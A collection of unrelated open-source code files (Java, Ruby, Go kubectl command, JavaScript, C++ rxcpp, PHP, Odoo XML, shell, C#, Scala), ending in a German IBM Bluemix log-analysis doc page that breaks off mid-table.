      xValuesSet.add(dataPoint.getRetentionTime());
      yValuesSet.add(dataPoint.getMobility());
      zValuesSet.add(dataPoint.getIntensity());
    }
    xValues = new Float[xValuesSet.size()];
    xValues = xValuesSet.toArray(xValues);
    yValues = new Double[yValuesSet.size()];
    yValues = yValuesSet.toArray(yValues);
    zValues = new Double[zValuesSet.size()];
    zValues = zValuesSet.toArray(zValues);
  }

  @Override
  public int getSeriesCount() {
    return 1;
  }

  @Override
  public Number getZ(int series, int item) {
    return zValues[item];
  }

  @Override
  public int getItemCount(int series) {
    return xValues.length;
  }

  @Override
  public Number getX(int series, int item) {
    return xValues[item];
  }

  @Override
  public Number getY(int series, int item) {
    return yValues[item];
  }

  @Override
  public Comparable<String> getSeriesKey(int series) {
    return seriesKey;
  }
}


text:
package org.shirolang.interpreter.v2;

import org.antlr.v4.runtime.ANTLRInputStream;
import org.antlr.v4.runtime.tree.ParseTree;
import org.antlr.v4.runtime.tree.ParseTreeWalker;
import org.junit.Test;
import org.shirolang.dag.DependencyRelation;
import org.shirolang.interpreter.CodeImporter;

import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Set;

import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;

public class IncludeVisitorTest extends ParsingTest{
    @Test
    public void visitIncludes() throws IOException {
        // should have dependencies:
        // graph_with_includes.sro -> a_include.sro
        // graph_with_includes.sro -> b_include.sro
        // graph_with_includes.sro -> geom.sro

        // This test is a little deceiving as the path created when testing does not reference the normal
        // runtime resources location.
        SymbolTable table = new SymbolTable();
        ProgramEvaluator evaluator = new ProgramEvaluator(table);
        Path path = Paths.get(CodeImporter.class.getResource("graph_with_includes.sro").getPath());

        ParseTree program = parse(new ANTLRInputStream(CodeImporter.class.getResourceAsStream("graph_with_includes.sro")));
        ParseTreeWalker walker = new ParseTreeWalker();
        ASTBuilder ast = new ASTBuilder();
        walker.walk(ast, program);

        IncludeVisitor visitor = new IncludeVisitor(evaluator, path);
        Set<DependencyRelation<Path>> includes = visitor.visit(ast.getProgram());
        assertEquals(3, includes.size());
    }

    @Test
    public void visitHasErrors() throws IOException {
        SymbolTable table = new SymbolTable();
        ProgramEvaluator evaluator = new ProgramEvaluator(table);
        Path path = Paths.get(CodeImporter.class.getResource("graph_with_include_errors.sro").getPath());

        ParseTree program = parse(new ANTLRInputStream(CodeImporter.class.getResourceAsStream("graph_with_include_errors.sro")));
        ParseTreeWalker walker = new ParseTreeWalker();
        ASTBuilder ast = new ASTBuilder();
        walker.walk(ast, program);

        IncludeVisitor visitor = new IncludeVisitor(evaluator, path);
        Set<DependencyRelation<Path>> includes = visitor.visit(ast.getProgram());
        assertTrue(visitor.hasErrors());
        assertEquals("binclude.sro cannot be found.", visitor.getErrors().get(0).getMessage());
        assertEquals(2, includes.size());
    }
}


text:
module Gateway

  class CreditCardTransactionOptions

    attr_accessor :PaymentMethodCode

    attr_accessor :CurrencyIso

    attr_accessor :IataAmountInCents

    attr_accessor :CaptureDelayInMinutes

    attr_accessor :MerchantCategoryCode

    attr_accessor :SoftDescriptorText

    attr_accessor :InterestRate

    attr_accessor :ExtendedLimitEnabled

    attr_accessor :ExtendedLimitCode

    def to_json
      hash = {}
      instance_variables.each { |var| hash[var.to_s.delete('@')] = instance_variable_get(var) }
      hash
    end
  end
end


text:
package cmd

import (
	"fmt"
	"io"

	"github.com/GoogleCloudPlatform/kubernetes/pkg/api"
	"github.com/GoogleCloudPlatform/kubernetes/pkg/kubectl"
	"github.com/GoogleCloudPlatform/kubernetes/pkg/kubectl/cmd/util"
	"github.com/spf13/cobra"
)

func (f *Factory) NewCmdRunContainer(out io.Writer) *cobra.Command {
	cmd := &cobra.Command{
		Use:   "run-container <name> --image=<image> [--port=<port>] [--replicas=replicas] [--dry-run=<bool>] [--overrides=<inline-json>]",
		Short: "Run a particular image on the cluster.",
		Long: `Create and run a particular image, possibly replicated.
Creates a replication controller to manage the created container(s).

Examples:

    // Starts a single instance of nginx.
    $ kubectl run-container nginx --image=dockerfile/nginx

    // Starts a replicated instance of nginx.
    $ kubectl run-container nginx --image=dockerfile/nginx --replicas=5

    // Dry run. Print the corresponding API objects without creating them.
    $ kubectl run-container nginx --image=dockerfile/nginx --dry-run

    // Start a single instance of nginx, but overload the desired state with a partial set of values parsed from JSON.
    $ kubectl run-container nginx --image=dockerfile/nginx --overrides='{ "apiVersion": "v1beta1", "desiredState": { ... } }'`,
		Run: func(cmd *cobra.Command, args []string) {
			if len(args) != 1 {
				usageError(cmd, "<name> is required for run-container")
			}

			namespace, err := f.DefaultNamespace(cmd)
			checkErr(err)

			client, err := f.Client(cmd)
			checkErr(err)

			generatorName := util.GetFlagString(cmd, "generator")
			generator, found := kubectl.Generators[generatorName]
			if !found {
				usageError(cmd, fmt.Sprintf("Generator: %s not found.", generator))
			}
			names := generator.ParamNames()
			params := kubectl.MakeParams(cmd, names)
			params["name"] = args[0]

			err = kubectl.ValidateParams(names, params)
			checkErr(err)

			controller, err := generator.Generate(params)
			checkErr(err)

			inline := util.GetFlagString(cmd, "overrides")
			if len(inline) > 0 {
				util.Merge(controller, inline, "ReplicationController")
			}

			// TODO: extract this flag to a central location, when such a location exists.
			if !util.GetFlagBool(cmd, "dry-run") {
				controller, err = client.ReplicationControllers(namespace).Create(controller.(*api.ReplicationController))
				checkErr(err)
			}

			err = f.PrintObject(cmd, controller, out)
			checkErr(err)
		},
	}
	util.AddPrinterFlags(cmd)
	cmd.Flags().String("generator", "run-container/v1", "The name of the API generator to use.  Default is 'run-container-controller/v1'.")
	cmd.Flags().String("image", "", "The image for the container to run.")
	cmd.Flags().IntP("replicas", "r", 1, "Number of replicas to create for this container. Default is 1.")
	cmd.Flags().Bool("dry-run", false, "If true, only print the object that would be sent, without sending it.")
	cmd.Flags().String("overrides", "", "An inline JSON override for the generated object. If this is non-empty, it is used to override the generated object. Requires that the object supply a valid apiVersion field.")
	cmd.Flags().Int("port", -1, "The port that this container exposes.")
	cmd.Flags().StringP("labels", "l", "", "Labels to apply to the pod(s) created by this call to run-container.")
	return cmd
}


text:
var raf = require("raf"),
    now = require("performance-now");

function Timer() {
  this.running = false;
  this.currentTime = 0;
  this.lastTick = null;
  this.callbacks = [];
  this._rate = 1;

  this._tick = this._tick.bind(this);
}

Timer.prototype.start = function(startAtMs) {
  if (this.running) return;
  this.running = true;

  if (typeof startAtMs !== "undefined") {
    this.set(startAtMs);
  }

  this._startTimer();
};

Timer.prototype.set = function(ms) {
  this.lastTick = null;
  this.currentTime = ms;
};

Timer.prototype.pause = function() {
  if (!this.running) return;
  this.lastTick = null;
  this.running = false;
};

Timer.prototype.setRate = function(rate) {
  this._rate = rate;
};

Timer.prototype.getRate = function() {
  return this._rate;
};

Timer.prototype._startTimer = function() {
  this._tick();
};

Timer.prototype._tick = function() {
  if (!this.running) return;

  if (this.lastTick === null) {
    this.lastTick = now();
  } else {
    var thisTick = now(),
        delta = thisTick - this.lastTick;
    this.currentTime = this.currentTime + delta * this._rate;
    this.lastTick = thisTick;
  }

  this.callbacks.forEach(function(callback) {
    callback(this.currentTime);
  }.bind(this));

  raf(this._tick);
};

Timer.prototype.register = function(fn) {
  this.callbacks.push(fn);
};

Timer.prototype.unregister = function(fn) {
  var idx = this.callbacks.indexOf(fn);
  if (idx > -1) this.callbacks.splice(idx, 1);
};

module.exports = Timer;


text:
layout: default
---
{% if page.header_text %}

{{ page.header_text }}

{% endif %}

{{ page.title }}

    {{ content }}


text:
namespace rxcpp {

namespace detail {

template<class K, class Source>
struct has_on_get_key_for
{
    struct not_void {};
    template<class CS>
    static auto check(int) -> decltype((*(CS*)nullptr).on_get_key());
    template<class CS>
    static not_void check(...);

    typedef decltype(check<Source>(0)) detail_result;
    static const bool value = std::is_same<detail_result, typename std::decay<K>::type>::value;
};

}

template<class K, class T>
class dynamic_grouped_observable
    : public dynamic_observable<T>
{
public:
    typedef typename std::decay<K>::type key_type;
    typedef tag_dynamic_grouped_observable dynamic_observable_tag;

private:
    struct state_type
        : public std::enable_shared_from_this<state_type>
    {
        typedef std::function<key_type()> ongetkey_type;

        ongetkey_type on_get_key;
    };
    std::shared_ptr<state_type> state;

    template<class U, class V>
    friend bool operator==(const dynamic_grouped_observable<U, V>&, const dynamic_grouped_observable<U, V>&);

    template<class U, class V>
    void construct(const dynamic_grouped_observable<U, V>& o, const tag_dynamic_grouped_observable&) {
        state = o.state;
    }

    template<class U, class V>
    void construct(dynamic_grouped_observable<U, V>&& o, const tag_dynamic_grouped_observable&) {
        state = std::move(o.state);
    }

    template<class SO>
    void construct(SO&& source, const rxs::tag_source&) {
        auto so = std::make_shared<typename std::decay<SO>::type>(std::forward<SO>(source));
        state->on_get_key = [so]() mutable {
            return so->on_get_key();
        };
    }

public:

    dynamic_grouped_observable()
    {
    }

    template<class SOF>
    explicit dynamic_grouped_observable(SOF sof)
        : dynamic_observable<T>(sof)
        , state(std::make_shared<state_type>())
    {
        construct(std::move(sof),
                  typename std::conditional<is_dynamic_grouped_observable<SOF>::value, tag_dynamic_grouped_observable, rxs::tag_source>::type());
    }

    template<class SF, class CF>
    dynamic_grouped_observable(SF&& sf, CF&& cf)
        : dynamic_observable<T>(std::forward<SF>(sf))
        , state(std::make_shared<state_type>())
    {
        state->on_connect = std::forward<CF>(cf);
    }

    using dynamic_observable<T>::on_subscribe;

    key_type on_get_key() const {
        return state->on_get_key();
    }
};

template<class K, class T>
inline bool operator==(const dynamic_grouped_observable<K, T>& lhs, const dynamic_grouped_observable<K, T>& rhs) {
    return lhs.state == rhs.state;
}
template<class K, class T>
inline bool operator!=(const dynamic_grouped_observable<K, T>& lhs, const dynamic_grouped_observable<K, T>& rhs) {
    return !(lhs == rhs);
}

template<class K, class T, class Source>
grouped_observable<K, T> make_dynamic_grouped_observable(Source&& s) {
    return grouped_observable<K, T>(dynamic_grouped_observable<K, T>(std::forward<Source>(s)));
}

template<class K, class T, class SourceOperator>
class grouped_observable
    : public observable<T, SourceOperator>
{
    typedef grouped_observable<K, T, SourceOperator> this_type;
    typedef observable<T, SourceOperator> base_type;
    typedef typename std::decay<SourceOperator>::type source_operator_type;

    static_assert(detail::has_on_get_key_for<K, source_operator_type>::value, "inner must have on_get_key method key_type()");

public:
    typedef typename std::decay<K>::type key_type;
    typedef tag_grouped_observable observable_tag;

    grouped_observable()
    {
    }

    explicit grouped_observable(const SourceOperator& o)
        : base_type(o)
    {
    }
    explicit grouped_observable(SourceOperator&& o)
        : base_type(std::move(o))
    {
    }

    // implicit conversion between observables of the same value_type
    template<class SO>
    grouped_observable(const grouped_observable<K, T, SO>& o)
        : base_type(o)
    {}
    // implicit conversion between observables of the same value_type
    template<class SO>
    grouped_observable(grouped_observable<K, T, SO>&& o)
        : base_type(std::move(o))
    {}

    ///
    /// performs type-forgetting conversion to a new grouped_observable
    ///
    grouped_observable<K, T> as_dynamic() const {
        return *this;
    }

    key_type get_key() const {
        return base_type::source_operator.on_get_key();
    }
};

}

//
// support range() >> filter() >> subscribe() syntax
// '>>' is spelled 'stream'
//
template<class T, class SourceOperator, class OperatorFactory>
auto operator >> (const rxcpp::grouped_observable<T, SourceOperator>& source, OperatorFactory&& of)
    -> decltype(source.op(std::forward<OperatorFactory>(of))) {
    return      source.op(std::forward<OperatorFactory>(of));
}

//
// support range() | filter() | subscribe() syntax
// '|' is spelled 'pipe'
//
template<class T, class SourceOperator, class OperatorFactory>
auto operator | (const rxcpp::grouped_observable<T, SourceOperator>& source, OperatorFactory&& of)
    -> decltype(source.op(std::forward<OperatorFactory>(of))) {
    return      source.op(std::forward<OperatorFactory>(of));
}

#endif


text:
<?php

namespace PHPMag\Bundle\EcbBundle\Ecb;

class Parser implements ParserInterface
{

    /**
     * @{inheritdoc}
     */
    public function parse($rawData)
    {
        $xml = new \SimpleXMLElement($rawData);

        $rates = array();

        foreach($xml->Cube->Cube->Cube as $node) {
            $rates[(string) $node['currency']] = (float) $node['rate'];
        }

        return $rates;
    }
}


text:
class CovalenceRelationshipGenerator < ModelGenerator
end


text:
<odoo>

    <data>

        <!-- 项目退出会议表决票-->
        <!--项目退出会议表决票的form视图-->
        <record model="ir.ui.view" id="sub_exit_vote_form">
            <field name="name">cowin_project.sub_exit_vote form</field>
            <field name="model">cowin_project.sub_exit_vote</field>
            <field name="arch" type="xml">
                <form string="Fiscal year">
                    <group>

                        <field name="name"/>
                        <field name="project_number"/>
                        <field name="invest_manager_ids"/>

                        <!--投资基金-->
                        <field name="foundation_id"/>
                        <field name="the_amount_of_investment"/>
                        <field name="ownership_interest"/>
                        <field name="round_financing_id"/>
                        <field name="the_amount_of_financing"/>
                        <!---->
                        <field name="conference_date"/>
                        <!--<field name="investment_decision_committee"/>-->
                        <field name="members_of_voting_committee_ids"/>
                        <field name="voting_result"/>
                        <field name="voting_opinion"/>
                        <field name="voter"/>

                    </group>

                </form>
            </field>
        </record>

    </data>
</odoo>


text:
function extract_pot() {
    pybabel extract --mapping translations/babel.cfg --output translations/messages.pot ./
}

function new_translation() {
    pybabel init --input-file translations/messages.pot --output-dir translations/ --locale $1 --domain messages
}

function update_translation() {
    pybabel update --input-file translations/messages.pot --output-dir translations/ --domain messages
}

function compile_translations() {
    pybabel compile --directory translations/ --domain messages
}

function can_run() {
    if ! [ -x "$(command -v pybabel)" ]; then
        echo "Missing translation tool. Please, install Flask-Babel to continue."
        echo ""
        echo "    pip install Flask-Babel"
        echo ""
        exit 1
    fi
}

function usage {
    echo "Translate Flex theme tool"
    echo ""
    echo "Usage:"
    echo ""
    echo "    new [language]  create new translation."
    echo "    compile         compile all PO files into MO files."
    echo "    update          update all translations based on POT file."
    echo "    extract         extract all messages from templates and create the POT file."
}

case "$1" in
   "new")
        can_run

        if [ -z "$2" ]
        then
            echo "Error: missing translation code."
            echo ""
            usage
            exit 1
        else
            new_translation $2
        fi
      ;;
   "compile")
      can_run
      compile_translations
      ;;
   "update")
      can_run
      update_translation
      ;;
   "extract")
      can_run
      extract_pot
      ;;
   *)
    usage
    exit 1
    ;;
esac


text:
<?php
/**
 * Moscow Exchange ISS Client
 *
 * @link      http://github.com/panychek/moex
 * @license   http://www.opensource.org/licenses/mit-license.php MIT
 * @author    Igor Panychek panychek@gmail.com
 */

namespace Panychek\MoEx;

/**
 * Top of the hierarchy
 */
class Exchange extends AbstractEntry
{
    use ValidationTrait;

    /**
     * @var \Panychek\MoEx\Exchange
     */
    private static $instance = null;

    /**
     * @var array
     */
    private $engines = array();

    /**
     * @var array
     */
    private $security_groups = array();

    /**
     * @var array
     */
    private $turnovers = array();

    /**
     * @var array
     */
    private $num_trades = array();

    /**
     * Get an instance
     *
     * @return \Panychek\MoEx\Exchange
     */
    public static function getInstance()
    {
        if (self::$instance === null) {
            self::$instance = new self;
        }

        return self::$instance;
    }

    /**
     * Destroy an instance (for unit tests)
     *
     * @return void
     */
    public static function destroyInstance() {
        if (isset(self::$instance)) {
            self::$instance = null;
        }
    }

    /**
     * Destroy all created instances (for unit tests)
     *
     * @return void
     */
    public static function destroy() {
        self::destroyInstance();
        Engine::destroyInstances();
        Market::destroyInstances();
        SecurityGroup::destroyInstances();
        Collection::destroyInstances();
        Issuer::destroyInstances();
    }

    /**
     * Wrapper for the Client::authenticate() method
     *
     * @param  string $username
     * @param  array  $password
     * @return true
     */
    public static function authenticate(string $username, string $password) {
        return Client::getInstance()->authenticate($username, $password);
    }

    /**
     * Set the language
     *
     * @param  string $lang
     * @return void
     */
    public static function setLanguage($lang)
    {
        Client::getInstance()->setLanguage($lang);
    }

    /**
     * Get the language
     *
     * @return string
     */
    public static function getLanguage()
    {
        return Client::getInstance()->getLanguage();
    }

    /**
     * Set the engines
     *
     * @throws Exception\DataException when the list is empty
     * @return void
     */
    private function setEngines()
    {
        $engines = Client::getInstance()->getEngineList();

        if (empty($engines['engines'])) {
            $message = 'No available data';
            throw new Exception\DataException($message, Exception\DataException::EMPTY_RESULT);
        }

        foreach ($engines['engines'] as $v) {
            $engine = Engine::getInstance($v['name']);
            $engine->setProperty('title', $v['title']);

            $this->engines[] = $engine;
        }
    }

    /**
     * Get the engines
     *
     * @return array
     */
    public function getEngines()
    {
        if (empty($this->engines)) {
            $this->setEngines();
        }

        return $this->engines;
    }

    /**
     * Set the security groups
     *
     * @throws Exception\DataException when the list is empty
     * @return void
     */
    public function setSecurityGroups()
    {
        $security_groups = Client::getInstance()->getSecurityGroups();

        if (empty($security_groups['securitygroups'])) {
            $message = 'No available data';
            throw new Exception\DataException($message, Exception\DataException::EMPTY_RESULT);
        }

        foreach ($security_groups['securitygroups'] as $v) {
            $security_group = SecurityGroup::getInstance($v['name']);
            $security_group->setProperty('title', $v['title']);

            $this->security_groups[] = $security_group;
        }
    }

    /**
     * Get the security groups
     *
     * @return array
     */
    public function getSecurityGroups()
    {
        if (empty($this->security_groups)) {
            $this->setSecurityGroups();
        }

        return $this->security_groups;
    }

    /**
     * Set the turnovers
     *
     * @param  \DateTime|false $date
     * @throws Exception\DataException when the list is empty
     * @return void
     */
    public function setTurnovers($date)
    {
        $turnovers = Client::getInstance()->getTurnovers($date);

        if (empty($turnovers['turnoversprevdate'])) {
            $message = 'No available data';
            throw new Exception\DataException($message, Exception\DataException::EMPTY_RESULT);
        }

        $date_str = $this->getDateString($date);
        if (!isset($this->turnovers[$date_str])) {
            $this->turnovers[$date_str] = null;
            $this->num_trades[$date_str] = null;
        }

        $keys = array('turnovers', 'turnoversprevdate');
        foreach ($keys as $key) {
            if (!empty($turnovers[$key])) {
                foreach ($turnovers[$key] as $v) {
                    $date = new \DateTime($v['UPDATETIME']);
                    $date_str = $date->format(Client::DATE_FORMAT);

                    $data = array(
                        'rub' => $v['VALTODAY'],
                        'usd' => $v['VALTODAY_USD']
                    );

                    if ($v['NAME'] == 'TOTALS') { // totals
                        $this->turnovers[$date_str] = $data;
                        $this->num_trades[$date_str] = $v['NUMTRADES'];

                    } else { // specific engine
                        $engine = Engine::getInstance($v['NAME']);

                        $engine->setProperty('title', $v['TITLE']);
                        $engine->setTurnovers($date_str, $data);
                        $engine->setNumberOfTrades($date_str, $v['NUMTRADES']);
                    }
                }
            }
        }

        ksort($this->turnovers);
        ksort($this->num_trades);
    }

    /**
     * Get the turnovers
     *
     * @param  string $currency
     * @param  \DateTime|string|false $date
     * @return float|null
     */
    public function getTurnovers(string $currency = 'rub', $date = false)
    {
        $currency = strtolower($currency);
        $this->validateCurrency($currency);

        $this->validateDate($date);

        if (is_string($date)) {
            $timezone = new \DateTimeZone(Client::TIMEZONE);
            $date = new \DateTime($date, $timezone);
        }

        $date_str = $this->getDateString($date);
        if (!array_key_exists($date_str, $this->turnovers)) {
            $this->setTurnovers($date);
        }

        if ($date === false) {
            $non_empty_turnovers = array_filter($this->turnovers);
            $last_day_turnovers = end($non_empty_turnovers);

            return $last_day_turnovers[$currency];

        } else {
            return $this->turnovers[$date_str][$currency];
        }
    }

    /**
     * Get the number of trades
     *
     * @param  \DateTime|string|false $date
     * @return int|null
     */
    public function getNumberOfTrades($date = false)
    {
        $this->validateDate($date);

        if (is_string($date)) {
            $timezone = new \DateTimeZone(Client::TIMEZONE);
            $date = new \DateTime($date, $timezone);
        }

        $date_str = $this->getDateString($date);
        if (!array_key_exists($date_str, $this->num_trades)) {
            $this->setTurnovers($date);
        }

        if ($date === false) {
            $non_empty_num_trades = array_filter($this->num_trades);
            $last_day_num_trades = end($non_empty_num_trades);

            return $last_day_num_trades;

        } else {
            return $this->num_trades[$date_str];
        }
    }

    /**
     * Search for the securities
     *
     * @param  string $string
     * @param  int $limit
     * @throws Exception\DataException for unknown securities
     * @return array
     */
    public static function findSecurities(string $string, int $limit = 100)
    {
        $search_result = Client::getInstance()->findSecurity($string, $limit);

        if (empty($search_result['securities'])) {
            $message = sprintf('No securities matching "%s"', $string);
            throw new Exception\DataException($message, Exception\DataException::EMPTY_RESULT);
        }

        $securities = array();
        foreach ($search_result['securities'] as $v) {
            $security = new Security('#' . $v['secid']);
            $security->setIssuer($v);

            $securities[] = $security;
        }

        return $securities;
    }

    /**
     * Get the ruble exchange rate
     *
     * @param  string $base_currency
     * @return float
     */
    public static function getRubleRate($base_currency = 'USD') {
        $ids = array(
            'usd' => 'USD000000TOD',
            'eur' => 'EUR_RUB__TOD',
            'gbp' => 'GBPRUB_TOD',
            'cny' => 'CNY000000TOD'
        );

        $base_currency = strtolower($base_currency);
        $id = $ids[$base_currency];

        $ruble_futures = new Security('#' . $id);

        $board = Board::getInstance('CETS', 'currency', 'selt');
        $ruble_futures->setBoard($board);

        return $ruble_futures->getLastPrice();
    }
}


text:
using System.Linq;
using Newtonsoft.Json.Serialization;

namespace Cuemon.Extensions.Newtonsoft.Json.Serialization
{
    /// <summary>
    /// Extension methods for the <see cref="IContractResolver"/> interface.
    /// </summary>
    public static class ContractResolverExtensions
    {
        /// <summary>
        /// Resolves the <see cref="NamingStrategy"/> from the specified <paramref name="contractResolver"/> when possible; otherwise a default <see cref="NamingStrategy"/> implementation is provided based on context.
        /// Eg. for <see cref="DefaultContractResolver"/> an instance of <see cref="DefaultNamingStrategy"/> is returned; for all other cases an instance of <see cref="CamelCaseNamingStrategy"/> is returned.
        /// </summary>
        /// <param name="contractResolver">The <see cref="IContractResolver"/> to resolve a <see cref="NamingStrategy"/> from.</param>
        /// <returns>An instance of <see cref="NamingStrategy"/>.</returns>
        public static NamingStrategy ResolveNamingStrategyOrDefault(this IContractResolver contractResolver)
        {
            if (contractResolver is DefaultContractResolver dcr) // odd that IContractResolver does not implement - this make this method vulnerable to custom implementations of IContractResolver
            {
                return dcr.NamingStrategy ?? new DefaultNamingStrategy(); // stay true to default in library (pass-through)
            }

            var namingStrategyProperty = contractResolver?.GetType().GetProperties().FirstOrDefault(pi => pi.PropertyType == typeof(NamingStrategy));
            var namingStrategy = namingStrategyProperty?.GetValue(contractResolver) as NamingStrategy;
            return namingStrategy ?? new CamelCaseNamingStrategy();
        }
    }
}


text:
package org.scalawebtest.core

import java.net.{URI, URL}

import org.scalatest.ConfigMap
import org.slf4j.{Logger, LoggerFactory}

import scala.reflect.ClassTag
import scala.util.{Failure, Success, Try}

trait Configurable {

  private val logger: Logger = LoggerFactory.getLogger(getClass.getName)

  case class Context(kind: String, name: String)

  trait Transformer[T] {
    def transform(s: String, c: Context): Option[T]
  }

  implicit object StringTransformer extends Transformer[String] {
    override def transform(s: String, c: Context): Option[String] = Some(s)
  }

  implicit object BooleanTransformer extends Transformer[Boolean] {
    override def transform(s: String, c: Context): Option[Boolean] = Try(s.toBoolean).toOption
  }

  implicit object IntTransformer extends Transformer[Int] {
    override def transform(s: String, c: Context): Option[Int] = Try(s.toInt) match {
      case Success(i) => Some(i)
      case Failure(e) =>
        logger.error(s"Could not transform ${c.kind} ${c.name} with value $s to ${classOf[Int].getName}", e)
        None
    }
  }

  implicit object DoubleTransformer extends Transformer[Double] {
    override def transform(s: String, c: Context): Option[Double] = Try(s.toDouble) match {
      case Success(i) => Some(i)
      case Failure(e) =>
        logger.error(s"Could not transform ${c.kind} ${c.name} with value $s to ${classOf[Double].getName}", e)
        None
    }
  }

  implicit object URLTransformer extends Transformer[URL] {
    override def transform(s: String, c: Context): Option[URL] = UriTransformer.transform(s, c).map(_.toURL)
  }

  implicit object UriTransformer extends Transformer[URI] {
    override def transform(s: String, c: Context): Option[URI] = Try(new URI(s)) match {
      case Success(i) =>
        Try(i.toURL) match {
          case _: Success[_] => Some(i)
          case Failure(e) =>
            logger.error(s"Could not transform ${c.kind} ${c.name} with value $s from a ${classOf[URI].getName} to a ${classOf[URL].getName}. In the context of ScalaWebTest all URIs are also expect to be valid URLs.", e)
            None
        }
      case Failure(e) =>
        logger.error(s"Could not transform ${c.kind} ${c.name} with value $s to ${classOf[URI].getName}", e)
        None
    }
  }

  def configFor[T: Transformer](configMap: ConfigMap)(name: String): Option[T] = {
    def systemProperty(name: String): Option[T] = {
      val sysProp = System.getProperty(name)
      if (sysProp != null) {
        logger.info(s"System property $name found with value $sysProp")
        implicitly[Transformer[T]].transform(sysProp, Context("system property", name))
      }
      else {
        logger.info(s"No system property $name found")
        None
      }
    }

    def envVar(name: String): Option[T] = {
      val envVar = System.getenv(name)
      if (envVar != null) {
        logger.info(s"Environment variable $name found with value $envVar")
        implicitly[Transformer[T]].transform(envVar, Context("environment variable", name))
      } else {
        logger.info(s"No environment variable $name found")
        None
      }
    }

    def envVarNameFallback(name: String): Option[T] = {
      if (name.contains(".") || name.contains("-")) {
        val envVarName = name.toUpperCase.replaceAll("[.-]", "_")
        envVar(envVarName)
      } else {
        None
      }
    }

    def fromConfigMap(name: String): Option[T] = {
      configMap.getOptional[String](name) match {
        case Some(s) =>
          logger.info(s"ConfigMap entry (runner argument) $name found with value $s")
          implicitly[Transformer[T]].transform(s, Context("ConfigMap entry (runner argument)", name))
        case None =>
          logger.info(s"No ConfigMap entry (runner argument) $name found")
          None
      }
    }

    fromConfigMap(name)
      .orElse(envVar(name))
      .orElse(envVarNameFallback(name))
      .orElse(systemProperty(name))
  }

  def requiredConfigFor[T: Transformer](configMap: ConfigMap)(name: String): T = {
    configFor[T](configMap)(name) match {
      case Some(s) => s
      case None =>
        val ex = new RuntimeException(s"Required configuration for $name missing. Provide a value via system property or environment variable.")
        logger.error(s"Required configuration for $name missing.", ex)
        throw ex
    }
  }
}


text:
copyright:
  years: 2015, 2017

lastupdated: "2017-03-27"

---

{:shortdesc: .shortdesc}
{:new_window: target="_blank"}
{:codeblock: .codeblock}
{:screen: .screen}

# Protokoll über die Bluemix-Konsole analysieren
{: #analyzing_logs_bmx_ui}

In {{site.data.keyword.Bluemix}} können Sie Protokolle über die Registerkarte für Protokolle, die für jede Cloud Foundry-App bzw. jeden Docker-Container verfügbar ist, anzeigen, filtern und analysieren.
{:shortdesc}

{{site.data.keyword.Bluemix_notm}} Public bietet integrierte Protokollierungsfunktionen an. Wenn Sie Ihre Anwendungen zum Beispiel in Cloud Foundry (CF) ausführen, werden Protokolldaten aus Systemkomponenten, die mit Ihrer Anwendung interagieren, zu Ihrer Anwendung und sogar Protokolldaten aus Ihrer Anwendung erfasst, wenn Sie die Standardausgabe (STDOUT) und die Standard-Fehlerausgabe (STDERR) verwenden.

Beachten Sie die folgenden Informationen zur Verfügbarkeit von Protokolldaten für die Analyse und Protokollspeicherung:

* In {{site.data.keyword.Bluemix_notm}} Public werden Protokolldaten standardmäßig sieben Tage lang gespeichert.
* Sie können bis zu 1 GB an Daten pro Tag speichern.
* Die Protokolle, die für die Analyse über die {{site.data.keyword.Bluemix_notm}}-Konsole verfügbar sind, umfassen standardmäßig Daten für den Zeitraum der letzten 24 Stunden.

**Tipp:** Wenn Sie Daten für einen angepassten Zeitraum analysieren wollen, der vor den letzten 24 Stunden liegt, finden Sie weitere Informationen unter [Erweiterte Protokollanalyse mit Kibana](logging_analyzing_logs_Kibana.html#analyzing_logs_Kibana).

##  Zu den Protokollen einer Cloud Foundry-App navigieren
{: #launch_logs_tab_bmx_ui_cf}

Führen Sie die folgenden Schritte aus, um die Bereitstellungs- und Laufzeitprotokolle einer Cloud Foundry-App anzuzeigen:

1. Klicken Sie im Dashboard 'Apps' auf den Namen Ihrer Cloud Foundry-App.

2. Klicken Sie auf der App-Detailseite auf **Protokolle**.

    Auf der Registerkarte **Protokolle** können Sie die letzten Protokolle für Ihre App oder Protokollendabschnitte in Echtzeit anzeigen. Darüber hinaus können Sie Protokolle nach Komponente (Protokolltyp), App-Instanz-ID und nach Fehler filtern.

##  Zu den Protokollen eines Docker-Containers navigieren
{: #launch_logs_tab_bmx_ui_containers}

Führen Sie die folgenden Schritte aus, um Bereitstellungs- oder Laufzeitprotokolle eines Docker-Containers anzuzeigen:

1. Klicken Sie im Dashboard 'Apps' auf einen einzelnen Container oder eine Containergruppe.

2. Klicken Sie auf der App-Detailseite auf **Überwachung und Protokolle**.

3. Wählen Sie **Protokollierung** aus.

    Auf der Registerkarte **Protokollierung** können Sie die letzten Protokolle für Ihren Container oder Protokollendabschnitte in Echtzeit anzeigen.

## Protokollformat für CF-App-Protokolle
{: #log_format_cf}

Protokolle für {{site.data.keyword.Bluemix_notm}}-Cloud Foundry-Apps werden in einem festen Format ähnlich dem folgenden Muster angezeigt:

<var class="keyword varname">Komponente</var>/<var class="keyword varname">Instanz-ID</var>/<var class="keyword varname">Nachricht</var>/<var class="keyword varname">Zeitmarke</var>

Jeder Protokolleintrag enthält die folgenden Felder:

| Feld | Beschreibung |
|-------|-------------|
| Zeitmarke | Die Zeit des Protokolleintrags. Die Zeitmarke ist bis auf die Millisekunde definiert. |
| Komponente | Die Komponente, die das Protokoll generiert. Eine Liste der verschiedenen Komponenten finden Sie unter [Protokollquellen für CF-Apps](logging_cf_apps.html#logging_bluemix_cf_apps_log_sources).
 Auf jeden Komponententyp folgt ein Schrägstrich und eine Ziffer, die die Anwendungsinstanz angibt. 0 ist die Ziffer, die der ersten Instanz zugeordnet ist, 1 die der zweiten usw. |
| Nachricht | Die Nachricht, die von der Komponente ausgegeben wird. Die Nachricht variiert abhängig vom Kontext. |
{: caption="Tabelle 1. Felder eines CF-App-Protokolleintrags" caption-side="top"}

## Protokollformat für Containerprotokolle
{: #log_format_containers}

Protokolle für Container werden in einem festen Format ähnlich dem folgenden Muster angezeigt:

<var class="keyword varname">Zeitmarke</var>/<var class="keyword varname">Maschine</var>/<var class="keyword varname">Nachricht</var>

Jeder Protokolleintrag enthält die folgenden Felder:

| Feld | Beschreibung |
|-------|-------------|
| Zeitmarke | Die Zeit des Protokolleintrags. Die Zeitmarke ist bis auf die Millisekunde definiert. |
| Maschine | Der Name des Hosts, auf dem der Container ausgeführt wird. |
